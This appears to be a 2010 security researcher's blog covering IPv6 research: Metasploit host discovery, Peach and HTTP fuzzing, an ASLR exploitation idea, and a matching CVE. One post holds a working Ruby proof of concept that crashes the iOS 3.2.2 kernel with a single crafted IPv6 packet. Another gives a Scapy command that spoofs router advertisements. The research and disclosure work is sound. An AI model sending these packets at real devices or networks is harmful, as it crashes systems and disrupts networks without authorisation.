Monday, December 20, 2010

IPv6 PIng Host Discovery (metasploit module)

I am submitting a metasploit module that does link-local, and node-local host discovery by pinging the IPv6 multicast addresses that hosts, and routers are supposed to join when provisioning their IP addresses.

The workflow is pretty simple:

1. Send ICMPv6 echoRequest to FF01::1 (node-local all nodes), FF01::2(node-local all routers), FF02::1 (link-local all nodes), FF02::2 (link-local all routers)
2. Wait for any ICMPv6 echoResponse

Sample output:

msf > use auxiliary/scanner/discovery/ipv6_multicast_ping 
msf auxiliary(ipv6_multicast_ping) > set shost fe80::21a:a0ff:fe52:7068
shost => fe80::21a:a0ff:fe52:7068
msf auxiliary(ipv6_multicast_ping) >  set smac 00:1a:a0:53:71:69
smac => 00:1a:a0:52:70:68
msf auxiliary(ipv6_multicast_ping) > run


[*] Sending multicast pings
[*] Listening for ping responses
[*]    |*| fe80::61e:64ff:fe98:bf72 => 04:1e:64:08:ef:72
[*]    |*| fe80::e1:6cff:fec0:4f4e => 68:7f:74:0a:84:13
[*] Auxiliary module execution completed
msf auxiliary(ipv6_multicast_ping) > 

Tuesday, December 14, 2010

iOS 3.2.2 Vulnerability

I have been writing an IPv6 fuzzer metasploit module, and decided to send it at my iPad. I found a vulnerability that doesn't seem to be documented anywhere, but has been fixed with the 4.2.1 update I just installed on my iPad.  After looking through it quite a bit, I don't think it can be exploited, but will cause the kernel to crash and the device to reboot.  The only device I found this to work is on an iPad running iOS 3.2.2.

Replication/PoC:
You must determine the MAC and IPv6 address of the device. I used a combination of looking at the IPv4 address in settings, arp, ping6, and ndp.

Ping the iPad - I know this is the IPv4 address:

[15:37:05]wuntee:~$ ping 192.168.1.133
PING 192.168.1.133 (192.168.1.133): 56 data bytes
64 bytes from 192.168.1.133: icmp_seq=0 ttl=64 time=159.623 ms
^C
--- 192.168.1.133 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 159.623/159.623/159.623/0.000 ms

Use arp to determine the MAC:
[15:37:10]wuntee:~$ arp -a | grep 192.168.1.133
wuntee.lan (192.168.1.133) at b8:ff:61:21:a6:7d on en1 ifscope [ethernet]

Ping the link-local all nodes multicast address in order to get the link-local address of the iPad in your ndp cache:
[15:37:15]wuntee:~$ ping6 -I en1 ff02::1
PING6(56=40+8+8 bytes) fe80::fa1e:dfff:fed6:221d%en1 --> ff02::1
...
^C
--- ff02::1 ping6 statistics ---
1 packets transmitted, 1 packets received, +3 duplicates, 0.0% packet loss
round-trip min/avg/max/std-dev = 0.423/79.899/159.488/78.907 ms

Query the ndp table to determine the IPv6 address:
[15:37:37]wuntee:~$ ndp -ant | grep b8:ff:61:21:a6:7d
22:37:45.955772 fe80::baff:61ff:fe21:a67d%en1   b8:ff:61:21:a6:7d    en1 2s        D      

We now know the iPad IPv6 address, and the MAC address.  You can the following code to send a single packet to the device causing it to crash (note, must have pcaprub, bit-struct, and racket all installed for ruby):
#!/usr/bin/env ruby

require 'racket'
require 'pcaprub'

puts("Creating IPv6 packet")
NEXT_HEADER = 103
S_IP = "fe80::fa1e:dfff:fed6:221d"
S_MAC = "f8:1e:df:d6:22:1d"
D_IP = "fe80::baff:61ff:fe21:a67d"
D_MAC = "b8:ff:61:21:a6:7d"


p = Racket::Racket.new()
p.l2 = Racket::L2::Ethernet.new()
p.l2.src_mac = S_MAC
p.l2.dst_mac = D_MAC
p.l2.ethertype = Racket::L2::Ethernet::ETHERTYPE_IPV6
p.l3 = Racket::L3::IPv6.new()
p.l3.src_ip = Racket::L3::Misc.ipv62long(S_IP)
p.l3.dst_ip = Racket::L3::Misc.ipv62long(D_IP)
p.l3.nhead = NEXT_HEADER
p.l3.payload = "A"*100 # 1460 OR LESS
p.l3.fix!()

ipv6_capture = ::Pcap.open_live("en1", 65535, true, 0)

puts("Sending packet to device:\n #{p.pretty()}")
ipv6_capture.inject(p.pack())
ipv6_capture=nil
GC.start()  

This will cause the kernel to crash, and after looking at the kernel panic dump, it doesn't seem like anything worthwhile is overridden.
...
Hardware Model:      iPad1,1
Date/Time:       2010-12-02 17:59:28.355 -0700
OS Version:      iPhone OS 3.2.2 (7B500)

sleh_abort: prefetch abort in kernel mode: fault_addr=0x0
r0: 0xed3b3ed8  r1: 0xed3b3ee4  r2: 0x00000043  r3: 0x00000000
r4: 0xc0274370  r5: 0xc02747bc  r6: 0x00000001  r7: 0xed3b3f00
r8: 0x00000067  r9: 0xec414b54 r10: 0x00000001 r11: 0x00000000
12: 0xe0f45590  sp: 0xed3b3ed0  lr: 0xc00f2a87  pc: 0x00000000
cpsr: 0x60000013 fsr: 0x00000005 far: 0x00000000

Debugger message: Fatal Exception
OS version: 7B500
Kernel version: Darwin Kernel Version 10.3.1: Wed Aug  4 19:08:04 PDT 2010; root:xnu-1504.2.60~1/RELEASE_ARM_S5L8930X
iBoot version: iBoot-817.29
secure boot?: YES
Paniclog version: 1
Task 0xc0ce8d20: 5013 pages, 80 threads: pid 0: kernel_task
thread 0xe0f45590
kernel backtrace: ed3b3da4
  lr: 0xc0064e51  fp: 0xed3b3dd0
  lr: 0xc006620c  fp: 0xed3b3ddc
  lr: 0xc0066f74  fp: 0xed3b3e78
  lr: 0xc0062340  fp: 0xed3b3f00
  lr: 0xc00f39c3  fp: 0xed3b3f08
  lr: 0xc00aefcd  fp: 0xed3b3f20
  lr: 0xc00a7b2f  fp: 0xed3b3f30
  lr: 0xc00a4e9f  fp: 0xed3b3f48
  lr: 0xc00a6c93  fp: 0xed3b3f8c
  lr: 0xc00a6d93  fp: 0xed3b3fa8
  lr: 0xc00632dc  fp: 0x00000000

...

I do not have any experience exploiting iOS, but seeing that none of the registers are overridden with anything useful, and I don't have a copy of the decompiled OS firmware (do look at backtrace functions) I dont think this vulnerability can be exploited.

Looks like this has already been discovered:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1843


Thursday, December 2, 2010

The not so typical multi staged exploit

After doing a lot of research on exploitation mitigation techniques (ASLR, DEP, Stack Cookies, etc), understanding exploitation methodologies like 'return to libc,' and watching Dino DiaZovi's talk about Memory Corruption, Exploitation, and you I thought about a different type of exploitation technique... A mulit-staged exploit where the second stage isn't the machine taking in the code you want to execute, but where the second stage is the actual exploit...

Typical multi stage exploitation is done in the following manner:

1. Application is exploited, and the stager code is run
2. The stager code connects back to a configured host, and obtains the actual connection mechanism that the attacker wants to run (reverse shell, meterpreter, clac, whatever)


The case that I am thinking about is where ASLR is in place, and an attacker can't reliably, at all point EIP to a piece of memory to take over execution.  Dino states in the presentation something to the extent of:

Exploits are going to move away from the typical code execution to more towards memory dumps


The whole concept of ASLR is randomizing where libraries exist in memory to invalidate jumping to static values in those libraries in order to take control of execution flow.

But, what if you can dump the memory to a listener from a known start location, look for a signature of where something like NTDLL exists, compute the offset, then re-exploit the application using the now known offset of the memory address you originally wanted to jump to when ASLR was not in place?  The workflow would be something like this:

1. Have memory listener/processor running
2. Exploit application to dump memory to #1
3. #1 looks for NTDLL starting signature, and computes offset (if you are dumping from 0)
4. Re-exploit application with now known memory offset

There are a lot of unknowns on my part, simply because I am not an expert at exploitation, but the concept seems somewhat feasible.

Unknowns:
- If you can exploit something to dump memory, why cant you run arbitrary code?
- You must have some way of getting a known offset to calculate the library offset
- The application must not crash, or must restart after the initial exploitation
- The memory dump is something that can be used in the above case
- Does ASLR stop return to libc? Or is libc loaded somewhere statically every time?

Tuesday, November 23, 2010

IPv6 link-local host discovery concept

Recently I spoke about IPv6 security at the dc303 meeting.  I was trying to do a demo of the new metasploit module, but the local switch had IPv6 disabled.  Scott Hogg ended up using Scapy to send a spoofed router advertisement packet which would in turn force all hosts to do an IP auto discovery.  Think about how you can take this to the next level, and use it for host discovery in situations where hosts do not respond to ping's, and without having to brute force scan.


Process
The idea behind this is that your OS/kernel deals with IP auto configuration; it is done using ICMP packets, and are packets that (for the most part) bust be responded to and processed.  Un-like IPv4, you cant just drop all ICMP.  If your machine is on a network without IPv6 turned on, it will not obtain a global address.  ifconfig will look something like (mac addresses have been modified):



$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:1a:a0:52:11:22  
          inet addr:192.168.1.7  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::21a:a0ff:fe52:1122/64 Scope:Link

Notice, you only have 1 IPv6 address.  

In order for your OS to start doing an IP auto-config, it will have to be directed by a router on the local segment to obtain an IP address via IP auto-config; it must see a ICMPv6 router advertisement message . There are a few things that come to mind when thinking about how to craft this spoofed packet:

1. Have it look like it was sent from the legitimate router (use the router MAC) 
2. Have it look like it was sent from someone else on the network - making it look like someone else is doing your dirty work
3. Completely random information
4. Completely legitimate information

I am going to use Scapy to create the router advertisement.  The packet will look like this:

>>> a = IPv6()/ICMPv6ND_RA()/ICMPv6NDOptPrefixInfo(prefix='2001:db8:dead:beef::', prefixlen=64)/ICMPv6NDOptSrcLLAddr(lladdr="04:1E:DD:AA:BB:73")

Broken down:
IPv6()
This is the IPv6 header
ICMPv6ND_RA()
This says the packet is going to be an ICMPv6 Neighbor Discovery Router Advertisement
ICMPv6NDOptPrefixInfo(prefix='2001:db8:dead:beef::', prefixlen=64)
This is an ICMPv6 Option, of type Prefix Information.  The prefix/prefixlen says that during the auto-ip config process, each node will attempt to get a /64 with the prefix 2001:db8:50:50::
ICMPv6NDOptSrcLLAdd
Another ICMPv6 Option, of type Source Link Local Address, or what MAC address is the default route/router.


To put this on the wire, you simply run:

>>> send(a)
.
Sent 1 packets.




Note: I have been having a lot of difficulty on OSX doing this, not sure the exact issues


This will cause all of the devices on the link-local to start auto-config'ing another interface.  ifconfig should look something like:


$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:1a:a0:52:11:22  
          inet addr:192.168.1.7  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2001:db8:dead:beef:21a:a0ff:fe52:1122/64 Scope:Global
          inet6 addr: fe80::21a:a0ff:fe52:1122/64 Scope:Link


Something interesting to notice is that on this host (Ubuntu) the IPv6 addresses have the same host portion of the IP address:
2001:0db8:dead:beef:21a:a0ff:fe52:1122
fe80:0000:0000:0000:21a:a0ff:fe52:1122


Note: New Windows randomize addresses, and periodically change them.


This concept can be used for a link-local host discovery even for hosts that are not responding to ICMPv6 PingRequest's.


1. Send out a Router Advertisement
2. Monitor for all Host Advertisements
3. Replace first half of seen IPv6 address with the first half of the link-local address
4. Send a ICMPv6 HostSolicitation to the link-local address for confirmation


metasploit module to follow.

Friday, November 19, 2010

IPv6 fuzzing with Peach

I started to write an IPv6 header fuzzer in Peach, and recently moved to writing it as a metasploit auxiliary module.  Its half done, but in case it can help anyone, here it is.

This is all done on OSX with Peach 2.3.6

1. Must have scapy installed. (ports has it for osx, aptitude on ubuntu)

2. Add pScapy.pyc to the Peach installation; in my case:
/opt/Peach-2.3.6/Peach/Publishers/pScapy.pyc

3. Modify the /opt/Peach-2.3.6/Peach/Publishers/__init__.py and include pScapy to the __all__ variable:

__all__ = ["file", "sql", "stdout",
        "tcp", "udp", "com", "process",
        "http", "icmp", "raw", "remote",
        "dll", "smtp", "wifi", "pScapy"]

Note: When writing this, I accidentally deleted pScapy.py, so if anyone knows how to, or can decompile the .pyc file, it would be of great help.

4. Modify the ipv6.xml to contain a valid destination MAC and IPv6 address

5. Run:
# python peach.py ipv6.xml



Tuesday, November 16, 2010

IPv6 security at dc303

I will be speaking about IPv6 security at the next dc303 meeting.  All presentations, and tools will be posted here just prior to the start of the meeting.

Meeting location, and general dc303 information can be found here:
http://dc303.org/

Slides can be found here: dc303.ipv6.pptx

Friday, November 12, 2010

Meteasploit's new HTTP fuzzer

In a blog post, I noticed metasploit has a new HTTP fuzzer:

http://www.corelan.be:8800/index.php/2010/11/12/metasploit-module-http-form-field-fuzzer/

One thing that really stood out on that post was:
While this type of fuzzing/audits most likely won’t reveal bugs in the most common webserver platforms themselves (Apache, IIS, etc), I am convinced that there are a lot of other web server components out there that may not properly validate input from form fields or header fields.
So, I thought to myself, what embedded system do I have.... My router, and low and behold(after a little bit to figure out the timing):


msf auxiliary(http_form_field) > set url /cgi-bin/XXXX
url => http://192.168.1.1/cgi-bin/XXXX
msf auxiliary(http_form_field) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf auxiliary(http_form_field) > set vhost 192.168.1.1
vhost => 192.168.1.1
msf auxiliary(http_form_field) > set rport 80
rport => 80
msf auxiliary(http_form_field) > set delay .1
delay => .1
msf auxiliary(http_form_field) > run


[*] [+] Grabbing webpage /cgi-bin/XXXX from 192.168.1.1
[*] [+] Code : 200
[*] [+] Enumerating form data
[*]     Number of forms : 1
[*]     - Enumerating form #1
[*]       Field : username, type text
[*]       Field : password, type password
[*]       Field : , type submit
[*]       Field : , type reset
[*]       Nr of fields in form 'noname_1' : 2
[*]     Forms : 
[*]      - Name : noname_1, ID : noname_1, Action : /cgi-bin/XXXX, Method : post
[*] [+] Fuzzing fields in form NONAME_1
[*]     - Fuzzing field username
[*] [+] Done fuzzing fields in form NONAME_1
[*] [+] Fuzzing header fields
[*]     - Fuzzing header 'method' (1/12)
[-]       [-] No response - 1 / 2 - fuzzdata length : 1000
[-]       [-] No response - 2 / 2 - fuzzdata length : 2000
[*]       *!* No response : header method | fuzzdata length : 2000
[*]     - Fuzzing header 'User-Agent' (2/12)
[-]       [-] No response - 1 / 2 - fuzzdata length : 1000
[-]       [-] No response - 2 / 2 - fuzzdata length : 2000
[*]       *!* No response : header User-Agent | fuzzdata length : 2000
[*]     - Fuzzing header 'Content-Type' (3/12)
[-]       [-] No response - 1 / 2 - fuzzdata length : 1000
[-]       [-] No response - 2 / 2 - fuzzdata length : 2000
[*]       *!* No response : header Content-Type | fuzzdata length : 2000
[*]     - Fuzzing header 'Content-Length' (4/12)
[-]       [-] No response - 1 / 2 - fuzzdata length : 1000
[-]       [-] No response - 2 / 2 - fuzzdata length : 2000
[*]       *!* No response : header Content-Length | fuzzdata length : 2000
[*]     - Fuzzing header 'Accept-Encoding' (5/12)
[-]       [-] No response - 1 / 2 - fuzzdata length : 1000
[-]       [-] No response - 2 / 2 - fuzzdata length : 2000
[*]       *!* No response : header Accept-Encoding | fuzzdata length : 2000
[*]     - Fuzzing header 'Referer' (6/12)
[-]       [-] No response - 1 / 2 - fuzzdata length : 1000
[-]       [-] No response - 2 / 2 - fuzzdata length : 2000
[*]       *!* No response : header Referer | fuzzdata length : 2000
[*]     - Fuzzing header 'Keep-Alive' (7/12)
[-]       [-] No response - 1 / 2 - fuzzdata length : 1000
[-]       [-] No response - 2 / 2 - fuzzdata length : 2000
[*]       *!* No response : header Keep-Alive | fuzzdata length : 2000
[*]     - Fuzzing header 'Accept' (8/12)
[-]       [-] No response - 1 / 2 - fuzzdata length : 1000
[-]       [-] No response - 2 / 2 - fuzzdata length : 2000
[*]       *!* No response : header Accept | fuzzdata length : 2000
^C[-] Auxiliary interrupted by the console user
[*] Auxiliary module execution completed


First try... Web server is not responding.